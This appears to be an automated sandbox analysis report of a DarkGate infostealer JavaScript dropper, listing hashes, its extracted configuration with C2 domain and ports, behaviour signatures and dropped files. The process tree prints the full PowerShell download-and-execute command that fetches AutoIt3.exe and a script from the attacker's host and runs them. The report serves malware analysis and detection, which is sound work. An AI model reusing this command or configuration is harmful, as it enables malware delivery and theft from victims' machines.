Analysis

  • max time kernel
    137s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-11-2023 01:43

General

  • Target

    eccf555cc4f3293e850fc35377a06d69f04b81192f3f27b645bc4cfb23fc085d.js

  • Size

    252KB

  • MD5

    5780dea262044531b19f3194408aad91

  • SHA1

    a2579952eedec5ec649f589c1e797c91a05eaf93

  • SHA256

    eccf555cc4f3293e850fc35377a06d69f04b81192f3f27b645bc4cfb23fc085d

  • SHA512

    e45f5351921016ff87e6d81cc1eaade7c88324f847ec37dd60d08bc4830ebe6fb6b00f9623d3438d03c48236f091fff19f239face730ddfa2c9ea6640adc55c3

  • SSDEEP

    6144:Ye7hgXeerjqlI2Iro+/e7hgXeerjqlI2Iro+8:YIhgSlI234IhgSlI23V

Malware Config

Extracted

Family

darkgate

Botnet

user_871236672

C2

http://8sjimonstersboonkonline.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    2351

  • check_disk

    false

  • check_ram

    true

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    BXQcSgVDRBHnbn

  • internal_mutex

    txtMut

  • minimum_disk

    43

  • minimum_ram

    6000

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    user_871236672

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\eccf555cc4f3293e850fc35377a06d69f04b81192f3f27b645bc4cfb23fc085d.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msiqgmovrcg' -OutFile 'qgmovrcg.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'qgmovrcg.au3'"; Stop-Process -Name "WScript"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3580
      • C:\tepp\AutoIt3.exe
        "C:\tepp\AutoIt3.exe" qgmovrcg.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:5072

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_li5jnrt3.neb.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\tepp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\tepp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\tepp\qgmovrcg.au3

    Filesize

    529KB

    MD5

    7c0118e766a4ae2d2b403e3fb4b0bb98

    SHA1

    be7f5a1371c26c97ce19a74068e3b0789482cca2

    SHA256

    873d0578b78a1a8417ed8b63d400ba29d1fb942c23e9586cb5dcbf1643e560b8

    SHA512

    5995d51d309782214eeda00e49f4e6c04836164f658d7b0157f2743460e46a51a0ab5ed31a37998c52eb7d807a9abd5c6fb812f267f651c2b557496f3914b1d1

  • memory/3580-13-0x000001E3CFB80000-0x000001E3CFB90000-memory.dmp

    Filesize

    64KB

  • memory/3580-12-0x000001E3CFB80000-0x000001E3CFB90000-memory.dmp

    Filesize

    64KB

  • memory/3580-11-0x000001E3CFB80000-0x000001E3CFB90000-memory.dmp

    Filesize

    64KB

  • memory/3580-10-0x00007FFC70320000-0x00007FFC70DE1000-memory.dmp

    Filesize

    10.8MB

  • memory/3580-27-0x00007FFC70320000-0x00007FFC70DE1000-memory.dmp

    Filesize

    10.8MB

  • memory/3580-0-0x000001E3B7960000-0x000001E3B7982000-memory.dmp

    Filesize

    136KB

  • memory/5072-30-0x00000000038A0000-0x00000000039A0000-memory.dmp

    Filesize

    1024KB

  • memory/5072-31-0x0000000004340000-0x00000000044D5000-memory.dmp

    Filesize

    1.6MB

  • memory/5072-32-0x0000000004340000-0x00000000044D5000-memory.dmp

    Filesize

    1.6MB